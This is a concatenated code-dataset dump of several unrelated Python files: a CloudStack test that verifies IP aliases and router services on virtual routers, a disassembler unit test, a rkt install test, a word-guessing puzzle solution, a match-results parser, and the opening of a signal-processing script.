"ip alias is not created on VR eth0"
)
resp = Router.reboot(
self.apiclient,
router.id
)
self.debug("Reboot router api response: %s" % resp)
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
self.assertEqual(
router.state,
'Running',
"Router is not in running state after reboot"
)
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.assertNotEqual(
res.find(self.alias_ip),
- 1,
"IP alias not present on VR after VR reboot"
)
return
@attr(tags=["sg"])
def test_07_stop_start_VR_verify_ip_alias(self):
"""Reboot VR and verify ip alias
1.Deploy guest vm in new cidr
2.Verify ip alias creation
3.Stop and Start VR
4.Verify ip alias on VR
"""
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.debug("ip alias configuration on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
"ip alias is not created on VR eth0"
)
self.debug("Stopping VR")
Router.stop(
self.apiclient,
router.id,
)
self.debug("Starting VR")
Router.start(
self.apiclient,
router.id
)
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
self.assertEqual(
router.state,
'Running',
"Router is not in running state after reboot"
)
self.debug("VR is up and Running")
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.assertNotEqual(
res.find(self.alias_ip),
- 1,
"IP alias not present on VR after VR stop and start"
)
return
| 33.920555 | 102 | 0.545968 |
from marvin.cloudstackTestCase import cloudstackTestCase, unittest
from marvin.lib.utils import cleanup_resources, get_process_status
from marvin.lib.base import (Account,
DiskOffering,
VirtualMachine,
Router,
ServiceOffering,
PublicIpRange)
from marvin.lib.common import (get_domain,
get_zone,
list_routers,
list_hosts,
get_pod,
get_template)
import netaddr
from nose.plugins.attrib import attr
from netaddr import IPNetwork, IPAddress
from marvin.sshClient import SshClient
import random
class TestMultipleIpRanges(cloudstackTestCase):
@classmethod
def setUpClass(cls):
cls.testClient = super(TestMultipleIpRanges, cls).getClsTestClient()
cls.api_client = cls.testClient.getApiClient()
cls.dbclient = cls.testClient.getDbConnection()
cls.testdata = cls.testClient.getParsedTestDataConfig()
cls.domain = get_domain(cls.api_client)
cls.zone = get_zone(cls.api_client, cls.testClient.getZoneForTests())
cls.pod = get_pod(cls.api_client, cls.zone.id)
cls.testdata['mode'] = cls.zone.networktype
cls.testdata["domainid"] = cls.domain.id
cls.testdata["zoneid"] = cls.zone.id
cls.account = Account.create(
cls.api_client,
cls.testdata["account"],
domainid=cls.domain.id
)
cls.testdata["account"] = cls.account.name
cls.disk_offering = DiskOffering.create(
cls.api_client,
cls.testdata["disk_offering"]
)
cls.service_offering = ServiceOffering.create(
cls.api_client,
cls.testdata["service_offering"]
)
cls.template = get_template(
cls.api_client,
cls.zone.id,
cls.testdata["ostype"]
)
cls.testdata["diskoffering"] = cls.disk_offering.id
cls.dc_id = cls.dbclient.execute(
"select id from data_center where uuid = '%s';" % str(
cls.testdata["zoneid"]))
cls.dc_id = cls.dc_id[0][0]
cls.ids = cls.dbclient.execute(
"select id from user_ip_address where allocated is null and data_center_id = '%s';" % str(
cls.dc_id))
cls.id_list = []
for i in range(len(cls.ids)):
cls.id_list.append(cls.ids[i][0])
vr_list = Router.list(cls.api_client, listall='true')
cls.debug("vr list {}".format(vr_list))
if isinstance(vr_list, list) and len(vr_list) > 0:
cls.debug("VR is running in the setup")
cls.vr_state = True
else:
cls.debug("VR is not present in the setup")
cls.vr_state = False
cls.id_list = cls.id_list[:-2]
for id in cls.id_list:
cls.dbclient.execute(
"update user_ip_address set allocated=now() where id = '%s';" %
str(id))
if cls.zone.networktype.lower() == 'basic':
cls.new_vlan = cls.createNewVlanRange()
else:
raise unittest.SkipTest(
"These tests can be run only on basic zone.\
So skipping the tests")
# Deploy vm in existing subnet if VR is not present
if cls.vr_state is False:
cls.vm_res = VirtualMachine.create(
cls.api_client,
cls.testdata["server_without_disk"],
templateid=cls.template.id,
accountid=cls.account.name,
domainid=cls.testdata["domainid"],
zoneid=cls.testdata["zoneid"],
serviceofferingid=cls.service_offering.id,
mode=cls.testdata["mode"],
)
cls._cleanup = [
cls.new_vlan,
cls.account,
]
return
@classmethod
def createNewVlanRange(cls):
publicIpRange = PublicIpRange.list(cls.api_client)
cls.startIp = publicIpRange[0].startip
cls.endIp = publicIpRange[0].endip
cls.gateway = publicIpRange[0].gateway
cls.netmask = publicIpRange[0].netmask
# Pass ip address and mask length to IPNetwork to findout the CIDR
ip = IPNetwork(cls.startIp + "/" + cls.netmask)
# Take random increment factor to avoid adding the same vlan ip range
# in each test case
networkIncrementFactor = random.randint(1,255)
new_cidr = ip.__iadd__(networkIncrementFactor)
ip2 = IPNetwork(new_cidr)
test_nw = ip2.network
ip = IPAddress(test_nw)
# Add IP range(5 IPs) in the new CIDR
test_gateway = ip.__add__(1)
test_startIp = ip.__add__(3)
test_endIp = ip.__add__(10)
# Populating services with new IP range
cls.testdata["vlan_ip_range"]["startip"] = test_startIp
cls.testdata["vlan_ip_range"]["endip"] = test_endIp
cls.testdata["vlan_ip_range"]["gateway"] = test_gateway
cls.testdata["vlan_ip_range"]["netmask"] = cls.netmask
cls.testdata["vlan_ip_range"]["zoneid"] = cls.zone.id
cls.testdata["vlan_ip_range"]["podid"] = cls.pod.id
return PublicIpRange.create(
cls.api_client,
cls.testdata["vlan_ip_range"])
@classmethod
def tearDownClass(cls):
try:
for id in cls.id_list:
cls.dbclient.execute(
"update user_ip_address set allocated=default where id = '%s';" %
str(id))
# Cleanup resources used
cleanup_resources(cls.api_client, cls._cleanup)
except Exception as e:
raise Exception("Warning: Exception during cleanup : %s" % e)
return
def setUp(self):
self.apiclient = self.testClient.getApiClient()
self.dbclient = self.testClient.getDbConnection()
self.cleanup = []
# Deploy guest vm
try:
self.virtual_machine = VirtualMachine.create(
self.apiclient,
self.testdata["server_without_disk"],
templateid=self.template.id,
accountid=self.account.name,
domainid=self.testdata["domainid"],
zoneid=self.testdata["zoneid"],
serviceofferingid=self.service_offering.id,
mode=self.testdata["mode"],
)
except Exception as e:
raise Exception(
"Warning: Exception during vm deployment: {}".format(e))
self.vm_response = VirtualMachine.list(
self.apiclient,
id=self.virtual_machine.id
)
self.assertEqual(
isinstance(self.vm_response, list),
True,
"Check VM list response returned a valid list"
)
self.ip_range = list(
netaddr.iter_iprange(
unicode(
self.testdata["vlan_ip_range"]["startip"]), unicode(
self.testdata["vlan_ip_range"]["endip"])))
self.nic_ip = netaddr.IPAddress(
unicode(
self.vm_response[0].nic[0].ipaddress))
self.debug("vm got {} as ip address".format(self.nic_ip))
self.assertIn(
self.nic_ip,
self.ip_range,
"VM did not get the ip address from the new ip range"
)
ip_alias = self.dbclient.execute(
"select ip4_address from nic_ip_alias;"
)
self.alias_ip = str(ip_alias[0][0])
self.debug("alias ip : %s" % self.alias_ip)
self.assertNotEqual(
self.alias_ip,
None,
"Error in creating ip alias. Please check MS logs"
)
self.cleanup.append(self.virtual_machine)
return
def tearDown(self):
try:
# Clean up, terminate the resources created
cleanup_resources(self.apiclient, self.cleanup)
except Exception as e:
raise Exception("Warning: Exception during cleanup : %s" % e)
return
def verify_vlan_range(self, vlan, services):
# compare vlan_list response with configured values
self.assertEqual(
isinstance(vlan, list),
True,
"Check list response returned a valid list"
)
self.assertNotEqual(
len(vlan),
0,
"check list vlan response"
)
self.assertEqual(
str(vlan[0].startip),
str(services["startip"]),
"Start IP in vlan ip range is not matched with the\
configured start ip"
)
self.assertEqual(
str(vlan[0].endip),
str(services["endip"]),
"End IP in vlan ip range is not matched with the configured end ip"
)
self.assertEqual(
str(vlan[0].gateway),
str(services["gateway"]),
"gateway in vlan ip range is not matched with the\
configured gateway"
)
self.assertEqual(
str(vlan[0].netmask),
str(services["netmask"]),
"netmask in vlan ip range is not matched with\
the configured netmask"
)
return
@attr(tags=["sg"])
def test_01_deploy_vm_in_new_cidr(self):
self.ip_range = list(
netaddr.iter_iprange(
unicode(
self.testdata["vlan_ip_range"]["startip"]), unicode(
self.testdata["vlan_ip_range"]["endip"])))
self.nic_ip = netaddr.IPAddress(
unicode(
self.vm_response[0].nic[0].ipaddress))
self.debug("vm got {} as ip address".format(self.nic_ip))
self.assertIn(
self.nic_ip,
self.ip_range,
"VM did not get the ip address from the new ip range"
)
return
@attr(tags=["sg"])
def test_02_dns_service_on_alias_ip(self):
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = self.alias_ip + ":53"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
"netstat -atnp | grep %s" % proc
)
res = str(result)
self.debug("Dns process status on alias ip: %s" % res)
self.assertNotEqual(
res.find(proc)
- 1,
"dnsmasq service is not running on alias ip"
)
return
@attr(tags=["sg"])
def test_03_passwd_service_on_alias_IP(self):
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "socat"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
"netstat -atnp | grep %s" % proc
)
res = str(result)
self.debug("password process status on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
"password service is not running on alias ip"
)
return
@attr(tags=["sg"])
def test_04_userdata_service_on_alias_IP(self):
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "apache2"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
"netstat -atnp | grep %s" % proc
)
res = str(result)
self.debug("userdata process status on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip + ":80 ")
- 1,
"password service is not running on alias ip"
)
return
@attr(tags=["sg"])
def test_05_del_cidr_verify_alias_removal(self):
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.debug("ip alias configuration on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
"ip alias is not created on VR eth0"
)
self.virtual_machine.delete(self.apiclient)
self.debug(
"Verify that expunging the last vm in the CIDR should\
delete the ip alias from VR")
ip_alias2 = self.dbclient.execute(
"select ip4_address from nic_ip_alias;"
)
self.assertEqual(
isinstance(ip_alias2, list),
True,
"Error in sql query"
)
self.assertEqual(
len(ip_alias2),
0,
"Failure in clearing ip alias entry from cloud db"
)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.assertEqual(
res.find(
self.alias_ip),
- 1,
"Failed to clean up ip alias from VR even after\
last vm expunge in the CIDR")
self.debug("IP alias got deleted from VR successfully.")
self.cleanup.remove(self.virtual_machine)
return
@attr(tags=["sg"])
def test_06_reboot_VR_verify_ip_alias(self):
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.debug("ip alias configuration on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
"ip alias is not created on VR eth0"
)
resp = Router.reboot(
self.apiclient,
router.id
)
self.debug("Reboot router api response: %s" % resp)
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
self.assertEqual(
router.state,
'Running',
"Router is not in running state after reboot"
)
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.assertNotEqual(
res.find(self.alias_ip),
- 1,
"IP alias not present on VR after VR reboot"
)
return
@attr(tags=["sg"])
def test_07_stop_start_VR_verify_ip_alias(self):
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
hosts = list_hosts(
self.apiclient,
zoneid=router.zoneid,
type='Routing',
state='Up',
id=router.hostid
)
self.assertEqual(
isinstance(hosts, list),
True,
"Check list host returns a valid list"
)
host = hosts[0]
self.debug("Router ID: %s, state: %s" % (router.id, router.state))
self.assertEqual(
router.state,
'Running',
"Check list router response for router state"
)
port = self.testdata['configurableData']['host']["publicport"]
username = self.testdata['configurableData']['host']["username"]
password = self.testdata['configurableData']['host']["password"]
# SSH to host so that host key is saved in first
# attempt
SshClient(host.ipaddress, port, username, password)
proc = "ip addr show eth0"
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.debug("ip alias configuration on VR: %s" % res)
self.assertNotEqual(
res.find(self.alias_ip)
- 1,
"ip alias is not created on VR eth0"
)
self.debug("Stopping VR")
Router.stop(
self.apiclient,
router.id,
)
self.debug("Starting VR")
Router.start(
self.apiclient,
router.id
)
list_router_response = list_routers(
self.apiclient,
zoneid=self.zone.id,
listall=True
)
self.assertEqual(
isinstance(list_router_response, list),
True,
"Check list response returns a valid list"
)
router = list_router_response[0]
self.assertEqual(
router.state,
'Running',
"Router is not in running state after reboot"
)
self.debug("VR is up and Running")
result = get_process_status(
host.ipaddress,
port,
username,
password,
router.linklocalip,
proc
)
res = str(result)
self.assertNotEqual(
res.find(self.alias_ip),
- 1,
"IP alias not present on VR after VR stop and start"
)
return
| true | true |
f73c47ce2527893a50c5288ec493066c466b2223 | 1,200 | py | Python | src/third_party/beaengine/tests/0f3880.py | CrackerCat/rp | 5fe693c26d76b514efaedb4084f6e37d820db023 | [
"MIT"
] | 1 | 2022-01-17T17:40:29.000Z | 2022-01-17T17:40:29.000Z | src/third_party/beaengine/tests/0f3880.py | CrackerCat/rp | 5fe693c26d76b514efaedb4084f6e37d820db023 | [
"MIT"
] | null | null | null | src/third_party/beaengine/tests/0f3880.py | CrackerCat/rp | 5fe693c26d76b514efaedb4084f6e37d820db023 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>
#
# @author : beaengine@gmail.com
from headers.BeaEnginePython import *
from nose.tools import *
class TestSuite:
def test(self):
# 66 0F 38 80
# INVEPT r64, m128
Buffer = bytes.fromhex('660f388020')
myDisasm = Disasm(Buffer)
myDisasm.read()
assert_equal(myDisasm.infos.Instruction.Opcode, 0xf3880)
assert_equal(myDisasm.infos.Instruction.Mnemonic, b'invept')
assert_equal(myDisasm.repr(), 'invept rsp, dqword ptr [rax]')
| 35.294118 | 73 | 0.694167 |
from headers.BeaEnginePython import *
from nose.tools import *
class TestSuite:
def test(self):
Buffer = bytes.fromhex('660f388020')
myDisasm = Disasm(Buffer)
myDisasm.read()
assert_equal(myDisasm.infos.Instruction.Opcode, 0xf3880)
assert_equal(myDisasm.infos.Instruction.Mnemonic, b'invept')
assert_equal(myDisasm.repr(), 'invept rsp, dqword ptr [rax]')
| true | true |
f73c4a5b995c7873587158e9c39eb3e47a9f9ce5 | 1,031 | py | Python | py/ops/itests/test_deps.py | clchiou/garage | 446ff34f86cdbd114b09b643da44988cf5d027a3 | [
"MIT"
] | 3 | 2016-01-04T06:28:52.000Z | 2020-09-20T13:18:40.000Z | py/ops/itests/test_deps.py | clchiou/garage | 446ff34f86cdbd114b09b643da44988cf5d027a3 | [
"MIT"
] | null | null | null | py/ops/itests/test_deps.py | clchiou/garage | 446ff34f86cdbd114b09b643da44988cf5d027a3 | [
"MIT"
] | null | null | null | import unittest
from subprocess import call, check_call, check_output
import os.path
from .fixtures import Fixture
@Fixture.inside_container
class DepsTest(Fixture, unittest.TestCase):
def test_install_deps(self):
# Ensure rkt is not installed
self.assertEqual(1, call(['which', 'rkt']))
# The current latest version is 1.30.0
cmd = ('python3 -m itests.ops_runner --verbose deps install rkt:latest'
.split())
# Save test time if we have a local tarball
if os.path.exists('/tmp/tarballs/rkt-v1.30.0.tar.gz'):
cmd.extend(['--tarball', '/tmp/tarballs/rkt-v1.30.0.tar.gz'])
check_call(cmd)
output = check_output(['rkt', 'version'])
self.assertTrue(b'rkt Version: 1.30.0' in output, repr(output))
output = check_output(['rkt', 'image', 'list'])
self.assertTrue(
b'coreos.com/rkt/stage1-coreos:1.30.0' in output,
repr(output),
)
if __name__ == '__main__':
unittest.main()
| 28.638889 | 79 | 0.619787 | import unittest
from subprocess import call, check_call, check_output
import os.path
from .fixtures import Fixture
@Fixture.inside_container
class DepsTest(Fixture, unittest.TestCase):
def test_install_deps(self):
self.assertEqual(1, call(['which', 'rkt']))
cmd = ('python3 -m itests.ops_runner --verbose deps install rkt:latest'
.split())
if os.path.exists('/tmp/tarballs/rkt-v1.30.0.tar.gz'):
cmd.extend(['--tarball', '/tmp/tarballs/rkt-v1.30.0.tar.gz'])
check_call(cmd)
output = check_output(['rkt', 'version'])
self.assertTrue(b'rkt Version: 1.30.0' in output, repr(output))
output = check_output(['rkt', 'image', 'list'])
self.assertTrue(
b'coreos.com/rkt/stage1-coreos:1.30.0' in output,
repr(output),
)
if __name__ == '__main__':
unittest.main()
| true | true |
f73c4a5bc62ae00d86298e54ff607b5443e2839d | 860 | py | Python | Python/843.py | JWang169/LintCodeJava | b75b06fa1551f5e4d8a559ef64e1ac29db79c083 | [
"CNRI-Python"
] | 1 | 2020-12-10T05:36:15.000Z | 2020-12-10T05:36:15.000Z | Python/843.py | JWang169/LintCodeJava | b75b06fa1551f5e4d8a559ef64e1ac29db79c083 | [
"CNRI-Python"
] | null | null | null | Python/843.py | JWang169/LintCodeJava | b75b06fa1551f5e4d8a559ef64e1ac29db79c083 | [
"CNRI-Python"
] | 3 | 2020-04-06T05:55:08.000Z | 2021-08-29T14:26:54.000Z | # """
# This is Master's API interface.
# You should not implement it, or speculate about its implementation
# """
# class Master:
# def guess(self, word: str) -> int:
class Solution:
def findSecretWord(self, wordlist: List[str], master: 'Master') -> None:
word = wordlist[0]
words = set(wordlist)
while words:
count = master.guess(word)
nxt = []
if count == 6:
return word
for w in words:
score = self.match(word, w)
if score == count:
nxt.append(w)
words = nxt
word = words.pop()
def match(self, w1, w2):
score = 0
for i in range(len(w1)):
if w1[i] == w2[i]:
score += 1
return score
| 26.875 | 76 | 0.45814 |
# This is Master's API interface.
# You should not implement it, or speculate about its implementation
# """
# class Master:
# def guess(self, word: str) -> int:
class Solution:
def findSecretWord(self, wordlist: List[str], master: 'Master') -> None:
word = wordlist[0]
words = set(wordlist)
while words:
count = master.guess(word)
nxt = []
if count == 6:
return word
for w in words:
score = self.match(word, w)
if score == count:
nxt.append(w)
words = nxt
word = words.pop()
def match(self, w1, w2):
score = 0
for i in range(len(w1)):
if w1[i] == w2[i]:
score += 1
return score
| true | true |
f73c4a90a8994ddead5cbcd80546b1f8bbd111ed | 1,948 | py | Python | leaderboard/data.py | ntkleynhans/leaderboard | 68e9e38c6f38320c448a6007f6fdfc2366bcc4f7 | [
"Apache-2.0"
] | null | null | null | leaderboard/data.py | ntkleynhans/leaderboard | 68e9e38c6f38320c448a6007f6fdfc2366bcc4f7 | [
"Apache-2.0"
] | null | null | null | leaderboard/data.py | ntkleynhans/leaderboard | 68e9e38c6f38320c448a6007f6fdfc2366bcc4f7 | [
"Apache-2.0"
] | null | null | null | class Result(object):
def __init__(self, result):
self._result = result
self._teams = []
self._scores = []
def parse(self):
"""
Parse a results file entry
Result format is Team_Name Score, Team_Name Score
Parameters:
self.result (str): line of text in result entry format
Returns:
None
"""
for team_pair in self._result.split(','):
name, score = self.team_data(team_pair)
self._teams.append(name)
self._scores.append(score)
def team_data(self, team_score):
"""
Extract team name and score
Parameters:
team_score (str): text containing a team score pair
(e.g. Team_Name Score)
Returns:
tuple: team_name, score
"""
*name, score = team_score.split()
return ' '.join(name), int(score)
def draw(self):
"""
Determine if match was a draw
Returns:
bool
"""
return self._scores.count(self._scores[0]) == 2
def winning_team(self):
"""
Find winning team name
Returns:
str: winning team name
"""
return self._teams[self._scores.index(max(self._scores))]
def teams(self):
"""
Return extracted team names
Returns:
list[str]: team names
"""
return self._teams
class ResultsParser(object):
def __init__(self, infile):
self._infile = infile
def __iter__(self):
return self
# Python 3 compatibility
def __next__(self):
return self.next()
def next(self):
text = self._infile.readline().strip()
if not len(text):
raise StopIteration()
result = Result(text)
result.parse()
return result
| 23.190476 | 66 | 0.521047 | class Result(object):
def __init__(self, result):
self._result = result
self._teams = []
self._scores = []
def parse(self):
for team_pair in self._result.split(','):
name, score = self.team_data(team_pair)
self._teams.append(name)
self._scores.append(score)
def team_data(self, team_score):
*name, score = team_score.split()
return ' '.join(name), int(score)
def draw(self):
return self._scores.count(self._scores[0]) == 2
def winning_team(self):
return self._teams[self._scores.index(max(self._scores))]
def teams(self):
return self._teams
class ResultsParser(object):
def __init__(self, infile):
self._infile = infile
def __iter__(self):
return self
def __next__(self):
return self.next()
def next(self):
text = self._infile.readline().strip()
if not len(text):
raise StopIteration()
result = Result(text)
result.parse()
return result
| true | true |
f73c4b174a315451121137166af480fc042ee668 | 2,549 | py | Python | reconstruction/fbp_equiAngular/fbp_equiAngular.py | xcist/CatSim | 4fdd0be26f9915a46a3c3327ed0617328f5ca8b4 | [
"BSD-3-Clause"
] | 9 | 2020-09-04T01:52:41.000Z | 2021-09-20T16:05:28.000Z | reconstruction/fbp_equiAngular/fbp_equiAngular.py | xcist/CatSim | 4fdd0be26f9915a46a3c3327ed0617328f5ca8b4 | [
"BSD-3-Clause"
] | 1 | 2021-09-15T13:59:57.000Z | 2021-09-17T21:33:53.000Z | reconstruction/fbp_equiAngular/fbp_equiAngular.py | xcist/CatSim | 4fdd0be26f9915a46a3c3327ed0617328f5ca8b4 | [
"BSD-3-Clause"
] | 5 | 2020-09-05T08:17:18.000Z | 2021-03-09T02:49:58.000Z | import ctypes as ct
import numpy as np
import scipy.io as scio
import matplotlib.pyplot as plt
# Init ctypes types
DOUBLE = ct.c_double
PtrDOUBLE = ct.POINTER(DOUBLE)
PtrPtrDOUBLE = ct.POINTER(PtrDOUBLE)
class TestStruct(ct.Structure):
_fields_ = [
("ScanR", ct.c_double),
("DecFanAng", ct.c_double),
("YL", ct.c_int),
("AngleNumber", ct.c_int),
("Radius", ct.c_double),
("RecSizeX", ct.c_int),
("RecSizeY", ct.c_int),
("centerX", ct.c_int),
("centerY", ct.c_int),
("FOILength", ct.c_int),
("FOIWidth", ct.c_int),
("GF", PtrPtrDOUBLE),
("RecIm", PtrPtrDOUBLE)
]
def double2darray2pointer(array):
# Converts a 2D numpy into a array ctypes 2D array.
arr_dimx = DOUBLE * array.shape[1]
arr_dimy = PtrDOUBLE * array.shape[0]
arr_ptr = arr_dimy()
for i, row in enumerate(array):
arr_ptr[i] = arr_dimx()
for j, val in enumerate(row):
arr_ptr[i][j] = val
return arr_ptr
def double2dpointer2array(ptr, n, m):
# Converts ctypes 2D array into a 2D numpy array.
arr = np.zeros(shape=(n, m))
for i in range(n):
for j in range(m):
arr[i][j] = ptr[i][j]
return arr
# Load the compiled library
recon = ct.CDLL("./fbp_equiAngular.dll")
# Define arguments of the C function
recon.fbp.argtypes = [ct.POINTER(TestStruct)]
# Define the return type of the C function
recon.fbp.restype = None
# Load the data
dataFile = './data/Res_Filtering_Angle.mat'
data = scio.loadmat(dataFile)
# init the struct
t = TestStruct()
t.ScanR = data['ScanR']
t.DecFanAng = data['DecFanAng']
t.YL = data['YL']
t.AngleNumber = len(data['GF'])
t.Radius = data['Radius']
# These are flexible parameters.
t.RecSizeX = 256
t.RecSizeY = 256
t.centerX = 128
t.centerY = 128
t.FOILength = 256
t.FOIWidth = 256
# Generate a 2D ctypes array from numpy array
GF = data['GF']
GF = GF.T
GF_ptr = double2darray2pointer(GF)
t.GF = GF_ptr
RecIm = np.zeros(shape=(t.FOILength, t.FOIWidth))
RecIm_ptr = double2darray2pointer(RecIm)
t.RecIm = RecIm_ptr
# interface with C function
recon.fbp(ct.byref(t))
# Convert ctypes 2D arrays to numpy arrays
RecA = double2dpointer2array(RecIm_ptr, *RecIm.shape)
RecA = RecA.T
# save result
dataNew = './data/Res_equiAngular.mat'
scio.savemat(dataNew,
{'Rec': RecA})
plt.figure()
plt.imshow(RecA, cmap='gray')
plt.show()
| 2,549 | 2,549 | 0.620243 | import ctypes as ct
import numpy as np
import scipy.io as scio
import matplotlib.pyplot as plt
| true | true |
f73c4b495084f3f2646f62bc639ad78296671fb8 | 2,131 | py | Python | tests/test_omp_sin3.py | antsfamily/pysparse | 1de292f3e9c6d81950656b9405d4d87ef746d950 | [
"MIT"
] | null | null | null | tests/test_omp_sin3.py | antsfamily/pysparse | 1de292f3e9c6d81950656b9405d4d87ef746d950 | [
"MIT"
] | null | null | null | tests/test_omp_sin3.py | antsfamily/pysparse | 1de292f3e9c6d81950656b9405d4d87ef746d950 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2017-07-06 10:38:13
# @Author : Yan Liu & Zhi Liu (zhiliu.mind@gmail.com)
# @Link : http://iridescent.ink
# @Version : $1.0$
#
import numpy as np
import pysparse as pys
import matplotlib.pyplot as plt
Fs = 2000
Ts = 1
Ns = int(Ts * Fs)
f1 = 100
f2 = 200
f3 = 700
t = np.linspace(0, Ts, Ns)
